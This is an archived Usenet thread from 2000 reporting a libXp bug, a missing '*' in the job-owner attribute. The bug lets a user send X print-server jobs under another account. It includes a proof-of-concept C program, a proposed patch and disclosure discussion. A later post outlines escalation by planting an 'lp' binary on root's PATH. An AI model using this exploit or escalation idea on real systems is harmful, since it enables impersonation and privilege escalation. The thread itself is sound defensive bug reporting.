Help : Xprt and CDE

Help : Xprt and CDE

Post by Roland Main » Tue, 21 Mar 2000 04:00:00




> Your print jobs (via lp(1) on the machine running Xprt) *should be*
> submitted under the same user-name under which the x-client
> that is printing is running.

> Example - when you print from dtpad, libXp should pick up the
> uid under which dtpad is running, convert it to a user-name,
> pass it to Xprt via the print protocol, Xprt should do a lookup on
> the same user-name, and if it finds it, start lp(1) using the same
> user-name.

It doesn't work with Solaris 2.7/MU4 nor with SuSe Linux 6.1.
I think something with the "job-owner" attribute is broken but I have
problems with debugging the <rant>damn</rant> Xprt in Solaris (it
doesn't like to be truss'ed with "truss -u ::" );-(

Questions:
- Is there a way to verify that the "job-owner" attribute is passed to
Xprt (and it's value would be interesting, too) ?
- Is there a reason why Xprt doesn't use the shared library version of
libXp ? Seems that both Solaris and Linux versions are statically linked
against the library ;-(

----

Bye,
Roland

--
  __ .  . __


  /O /==\ O\  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
 (;O/ \/ \O;) TEL +49 641 99-13193 FAX +49 641 99-41359

 
 
 

Help : Xprt and CDE

Post by Roland Main » Tue, 21 Mar 2000 04:00:00




> > Your print jobs (via lp(1) on the machine running Xprt) *should be*
> > submitted under the same user-name under which the x-client
> > that is printing is running.

> > Example - when you print from dtpad, libXp should pick up the
> > uid under which dtpad is running, convert it to a user-name,
> > pass it to Xprt via the print protocol, Xprt should do a lookup on
> > the same user-name, and if it finds it, start lp(1) using the same
> > user-name.

Finally it seems to be a bug in libXp:

Assuming two users "gisburn" and "hain". The process is running under
"gisburn"'s account. In my example code I set the user manually to "hain"
before XpSetContext():
-- snip --
XpSetAttributes( pdpy, pcontext, XPJobAttr, "*job-owner: hain", XPAttrMerge
);
-- snip --

Taking a look at the attribute pool before destroying the context shows two
"job-owner" entries:
-- snip --
*notification-profile:        {}
*qualifier:     hplaserjet001
job-owner:      gisburn
*job-owner:     hain
-- snip --

The job get's printed under "hain"'s account instead of "gisburn"'s one -
someone forget the '*' char before job-owner - and that's causing all the
trouble.

OK, and now the question: How to notify all vendors (Sun, HP, Xfree86 etc.)
to get this fixed ? AFAIK it's a security related issue, too...

----

Bye,
Roland

P.S.: I've attached a braindead test code that anyone who's interested only
have to change minor things to verify this...

--
  __ .  . __


  /O /==\ O\  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
 (;O/ \/ \O;) TEL +49 641 99-13193 FAX +49 641 99-41359

[ test.c 3K ]

/* cc -g -I/usr/include/X11 -L/usr/openwin/lib -R/usr/openwin/lib test.c -lXp -lXt -lX11 -lXext */

#if 0
#include <X11/extensions/Print.h>
#else
#include "X11_extensions_Print.h"
#endif

#include <X11/Intrinsic.h>

#include <stdlib.h>
#include <stdio.h>

static char *x( char *x )
{
    if( x == NULL )
      x = "<NULL>";

    return( x );

Quote:}

static void d( char *s )
{
    fprintf( stderr, "printtest: %s\n", x( s ) );

Quote:}

void listAllPrinters( char *printServerName )
{
    Display       *pdpy;
    XPPrinterList  plist;
    int            plistCnt;
    int            i;

    /*
     * connect to the X print server
     */

    pdpy = XOpenDisplay( printServerName );

    /*
     * get list of printers...
     */

    plist = XpGetPrinterList (pdpy, NULL, &plistCnt );

    printf( "got %d printers:\n", plistCnt );

    for( i = 0 ; i < plistCnt ; i++ )
    {  
      printf( "name: '%s' desc: '%s'\n", x( plist[i].name ), x( plist[i].desc ) );
    }

    XpFreePrinterList( plist );
    XCloseDisplay( pdpy );

Quote:}    

/* this test is mainly adopted from the example in libXp(3) */
void test( char *printServerName, int argc, char **argv )
{
    Display       *pdpy;
    XPPrinterList  plist;
    int            plistCnt;
    XPContext      pcontext;
    Screen        *pscreen;
    Window         pwin;

    d( "start." );
    /*
     * connect to the X print server
     */

    pdpy = XOpenDisplay( printServerName );

    /*
     * see if the printer "mylaser" is available
     */

    plist = XpGetPrinterList (pdpy, "hplaserjet001", &plistCnt );

    /*
     * Initialize a print context representing "mylaser"
     */

    pcontext = XpCreateContext( pdpy, plist[0].name );
    XpFreePrinterList( plist );

#if 1
    /*
     * Possibly modify attributes in the print context
     */
    XpSetAttributes( pdpy, pcontext, XPJobAttr, "*job-owner: hain", XPAttrMerge );

    printf( "XPJobAttr pool = '%s'\n", XpGetAttributes( pdpy, pcontext, XPJobAttr ) );

    /* twiddle attributes */

    /*
    printf( "current job owner is: '%s'\n", XpGetOneAttribute( pcontext, XPJobAttr, "job-owner" ) );
    */
    /*
     * Set a print server, then start a print job against it
     */
#endif

    d( "starting job." );

    XpSetContext( pdpy, pcontext );

    XpStartJob( pdpy, XPSpool );

    /*
     * Generate the first page
     */

    pscreen = XpGetScreenOfContext( pdpy, pcontext );
#if 0    
    pwin = XCreateWindow( pdpy, pscreen, 0, 0, 320, 200, 0, 1, 0, NULL, 0UL, NULL );
#else    
    {
    XSizeHints hint;
    char *hello = "xprinttest";
    hint.x = 200;
    hint.y = 200;
    hint.width = 320;
    hint.height = 200;
    hint.flags = PPosition | PSize;

    pwin = XCreateSimpleWindow (pdpy, DefaultRootWindow (pdpy), hint.x, hint.y, hint.width, hint.height, 4,
           BlackPixelOfScreen( pscreen), WhitePixelOfScreen ( pscreen));
    XSelectInput(pdpy, pwin, StructureNotifyMask);      
    XSetStandardProperties (pdpy, pwin, hello, hello, None, NULL, 0, &hint);
    }
#endif    
    d( "start page." );

    XpStartPage( pdpy, pwin, True );

    /* Wait for map. */
    {
      XEvent xev;
      do
      {
        d( "event" );
        XNextEvent(pdpy, &xev);
      } while (xev.type != MapNotify || xev.xmap.event != pwin );
      d( "mapped" );
    }

    /* usual rendering stuff..... */
    XpEndPage( pdpy );

    d( "end page." );

#if 0
    XpStartPage( pdpy );
    /* some more rendering.....   */
    XpEndPage( pdpy );
#endif

    /*
     * End the print job - the final results are sent by the X print
     * server to the spooler sub system.
     */

    XpEndJob( pdpy );
    d( "end job." );
    printf( "XPJobAttr pool = '%s'\n", XpGetAttributes( pdpy, pcontext, XPJobAttr ) );
    XpDestroyContext( pdpy, pcontext );

    XCloseDisplay( pdpy );
    d( "done." );

Quote:}

int main( int argc, char **argv )
{
    listAllPrinters( ":1.0" );
    test( ":1.0", argc, argv );

    return( EXIT_SUCCESS );

Quote:}


 
 
 

Help : Xprt and CDE

Post by Roland Main » Tue, 21 Mar 2000 04:00:00


Roland Mainz wrote:
> Finally it seems to be a bug in libXp:

> Assuming two users "gisburn" and "hain". The process is running under
> "gisburn"'s account. In my example code I set the user manually to "hain"
> before XpSetContext():
> -- snip --
> XpSetAttributes( pdpy, pcontext, XPJobAttr, "*job-owner: hain", XPAttrMerge
> );
> -- snip --

> Taking a look at the attribute pool before destroying the context shows two
> "job-owner" entries:
> -- snip --
> *notification-profile:        {}
> *qualifier:     hplaserjet001
> job-owner:      gisburn
> *job-owner:     hain
> -- snip --

> The job get's printed under "hain"'s account instead of "gisburn"'s one -
> someone forget the '*' char before job-owner - and that's causing all the
> trouble.

> OK, and now the question: How to notify all vendors (Sun, HP, Xfree86 etc.)
> to get this fixed ? AFAIK it's a security related issue, too...

I've cleaned up the example, added some comments, added a proposed fix and finally attached it to this
posting... :-)

----

Bye,
Roland

--
  __ .  . __
 (o.\ \/ /.o) Roland.Ma...@informatik.med.uni-giessen.de
  \__\/\/__/  gisb...@informatik.med.uni-giessen.de
  /O /==\ O\  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
 (;O/ \/ \O;) TEL +49 641 99-13193 FAX +49 641 99-41359

[ test.c 5K ]

/*
 * $Ver: test.c 1.1
 * Written by Roland.Ma...@informatik.med.uni-giessen.de
 * This example shows a security leak which allows an "intruder"
 * to execute print jobs under another user (including "root").
 * This code assumes that:
 * - Xprt is running in a per host manner as user "root", e.g. "root% Xprt :1".
 * - Two accounts exists: "gisburn" and "hain".
 * - A printer named "hplaserjet001" is available in the system.
 * - An unfixed libXp library is used.
 *
 * This program shoud be started as user "gisburn",
 * but the print job get's executed as coming from user "hain".
 * The reason is that the user's name is hold in the XPJobAttr "*job-owner"
 * variable, but libXp sets "job-owner" (note the missing '*' char).
 *
 * Suggested fix: Add the missing '*' char in source code.
 * A proposed patch for X11R6.4/xc/lib/Xp/XpJob.c is included below.
 *
 * This example code can be compiled like this:
 * cc -g -I/usr/include/X11 -L/usr/openwin/lib -R/usr/openwin/lib test.c -lXp -lXt -lX11 -lXext
 */

/* Here comes the proposed patch for X11R6.4/xc/lib/Xp/XpJob.c */
/****
-- snip --
% diff -c XpJob.c.original XpJob.c
*** XpJob.c.original    Mon Mar 20 12:14:58 2000
--- XpJob.c     Mon Mar 20 12:15:49 2000
***************
*** 105,111 ****
        if ((PwName = getenv("USERNAME"))) {
  #endif
            joa = (char *) Xmalloc( strlen( PwName ) + 20 );
!           sprintf( joa, "job-owner: %s", PwName );
              context = XpGetContext( dpy );
            XpSetAttributes( dpy, context, XPJobAttr, joa, XPAttrMerge );

--- 105,111 ----
        if ((PwName = getenv("USERNAME"))) {
  #endif
            joa = (char *) Xmalloc( strlen( PwName ) + 20 );
!           sprintf( joa, "*job-owner: %s", PwName );
              context = XpGetContext( dpy );
            XpSetAttributes( dpy, context, XPJobAttr, joa, XPAttrMerge );
-- snip --
****/

#if 0
#include <X11/extensions/Print.h>
#else
/* Solaris 2.7/MU4 misses the X11 extension print header ;-( */
#include "X11_extensions_Print.h"
#endif

#include <X11/Intrinsic.h>

#include <stdlib.h>
#include <stdio.h>

static char *x( char *x )
{
    if( x == NULL )
      x = "<NULL>";

    return( x );

}

static void d( char *s )
{
    fprintf( stderr, "printtest: %s\n", x( s ) );

}

void listAllPrinters( char *printServerName )
{
    Display       *pdpy;
    XPPrinterList  plist;
    int            plistCnt;
    int            i;

    /*
     * connect to the X print server
     */

    pdpy = XOpenDisplay( printServerName );

    /*
     * get list of printers...
     */

    plist = XpGetPrinterList (pdpy, NULL, &plistCnt );

    printf( "got %d printers:\n", plistCnt );

    for( i = 0 ; i < plistCnt ; i++ )
    {  
      printf( "name: '%s' desc: '%s'\n", x( plist[i].name ), x( plist[i].desc ) );
    }

    XpFreePrinterList( plist );
    XCloseDisplay( pdpy );

}    

/* this test is mainly adopted from the example in libXp(3) */
void test( char *printServerName, int argc, char **argv )
{
    Display       *pdpy;
    XPPrinterList  plist;
    int            plistCnt;
    XPContext      pcontext;
    Screen        *pscreen;
    Window         pwin;

    d( "start." );

    /*
     * connect to the X print server
     */
    pdpy = XOpenDisplay( printServerName );

    /*
     * see if the printer "hplaserjet001", is available
     */
    plist = XpGetPrinterList( pdpy, "hplaserjet001", &plistCnt );

    /*
     * Initialize a print context representing "mylaser"
     */
    pcontext = XpCreateContext( pdpy, plist[0].name );
    XpFreePrinterList( plist );

    /* and here comes the expoit: Normally libXp should set/overwrite "*job-owner" in XpStartJob
     * by the current user, but by mistake it sets the "job-owner" attribute (note the missing '*').
     */
    XpSetAttributes( pdpy, pcontext, XPJobAttr, "*job-owner: hain", XPAttrMerge );

    /* verify that we stored our "intruder" in the XPJobAttr pool... */
    printf( "XPJobAttr pool = '%s'\n", XpGetAttributes( pdpy, pcontext, XPJobAttr ) );

    d( "starting job." );  
    XpSetContext( pdpy, pcontext );  
    XpStartJob( pdpy, XPSpool );

    /* print the XPJobAttr pool.
     * XpStartJOb tried to set/overwrite the job's owner, but misspelled the attribute name.
     * User "hain" is still stored in "*job-owner" (unless someone has fixed the bug in libXp)
     * instead of user "gisburn".
     *
     */
    printf( "XPJobAttr pool = '%s'\n", XpGetAttributes( pdpy, pcontext, XPJobAttr ) );

    /*
     * Generate the first page
     */
    pscreen = XpGetScreenOfContext( pdpy, pcontext );

    {
      XSizeHints  hint;
      char       *hello = "xprinttest";
      hint.x      = 200;
      hint.y      = 200;
      hint.width  = 320;
      hint.height = 200;
      hint.flags  = PPosition | PSize;

      pwin = XCreateSimpleWindow( pdpy, DefaultRootWindow (pdpy), hint.x, hint.y, hint.width, hint.height, 4,
                                  BlackPixelOfScreen( pscreen ), WhitePixelOfScreen( pscreen ) );
      XSelectInput( pdpy, pwin, StructureNotifyMask );      
      XSetStandardProperties( pdpy, pwin, hello, hello, None, NULL, 0, &hint );
    }

    XpStartPage( pdpy, pwin, True );
    /* usual rendering stuff..... */
    XpEndPage( pdpy );

#if 0
    XpStartPage( pdpy );
    /* some more rendering.....   */
    XpEndPage( pdpy );
#endif

    /*
     * End the print job - the final results are sent by the X print
     * server to the spooler sub system.
     */

    XpEndJob( pdpy );
    d( "end job." );

    XpDestroyContext( pdpy, pcontext );
    XCloseDisplay( pdpy );

    d( "done." );

}

/* main program entry */  
int main( int argc, char **argv )
{
    listAllPrinters( ":1.0" );
    test( ":1.0", argc, argv );

    return( EXIT_SUCCESS );

}

/* EOF. */
 
 
 

Help : Xprt and CDE

Post by Thomas J. Gil » Tue, 21 Mar 2000 04:00:00


Quote:Roland Mainz wrote...
> job-owner:      gisburn
> *job-owner:     hain

The old Xprt team is in my cube trying to recall the merits
of "*" in front of the attribute name.

XpStartJob() is the one who calls XpSetAttribute with "job-owner: gisburn",
and
that results in Xp protocol to Xprt, and it is Xprt that persists
"job-owner: gisburn"
to an in-memory Xrm database, and later fetches the same attribute for
setting
ownership on the print job.

I forget all the "*" and "." rules for Xrm entries, so a Xrm query for
"job-owner"
may indeed not be resolved, as you suggest, if the Xrm entry is "job-owner"
instead of "*job-owner".

Unfortunately I'm no longer involved with the X folks, so I'm going to leave
it
up to you to submit a defect report.

Thomas Gilg

 
 
 

Help : Xprt and CDE

Post by Alan Coopersmi » Tue, 21 Mar 2000 04:00:00



Quote:>OK, and now the question: How to notify all vendors (Sun, HP, Xfree86 etc.)
>to get this fixed ? AFAIK it's a security related issue, too...

The X11R6.4 source tree contains instructions for filing bug reports
with X.org, which is actually active again.  If you really think it's

--
________________________________________________________________________

Univ. of California at Berkeley         http://soar.Berkeley.EDU/~alanc/

 
 
 

Help : Xprt and CDE

Post by Roland Main » Wed, 22 Mar 2000 04:00:00



> XpStartJob() is the one who calls XpSetAttribute with "job-owner: gisburn",
> and
> that results in Xp protocol to Xprt, and it is Xprt that persists
> "job-owner: gisburn"
> to an in-memory Xrm database, and later fetches the same attribute for
> setting
> ownership on the print job.

> I forget all the "*" and "." rules for Xrm entries, so a Xrm query for
> "job-owner"
> may indeed not be resolved, as you suggest, if the Xrm entry is "job-owner"
> instead of "*job-owner".

> Unfortunately I'm no longer involved with the X folks, so I'm going to leave
> it
> up to you to submit a defect report.

email ?

----

Bye,
Roland

--
  __ .  . __


  /O /==\ O\  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
 (;O/ \/ \O;) TEL +49 641 99-13193 FAX +49 641 99-41359

 
 
 

Help : Xprt and CDE

Post by Roland Main » Thu, 23 Mar 2000 04:00:00




> >OK, and now the question: How to notify all vendors (Sun, HP, Xfree86 etc.)
> >to get this fixed ? AFAIK it's a security related issue, too...

> The X11R6.4 source tree contains instructions for filing bug reports
> with X.org, which is actually active again.  If you really think it's


Currently it is only a smaller security bug - you can send print jobs under
another user's account.
In theory it can be extended to a big leak by controlling one directory which
is in root's path (like our "/usr/local" directories which are controlled by
user="softadmin" group="softbin") and place a "lp" binary in there. If I
remember correctly Sun't Xprt default config doesn't make use of an absolute
path to "lp", instead it searches $PATH and grabs&&executes the first
executable it finds.

----

Off-topic:

(format/checklist etc.) ?

----

Bye,
Roland

--
  __ .  . __


  /O /==\ O\  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
 (;O/ \/ \O;) TEL +49 641 99-13193 FAX +49 641 99-41359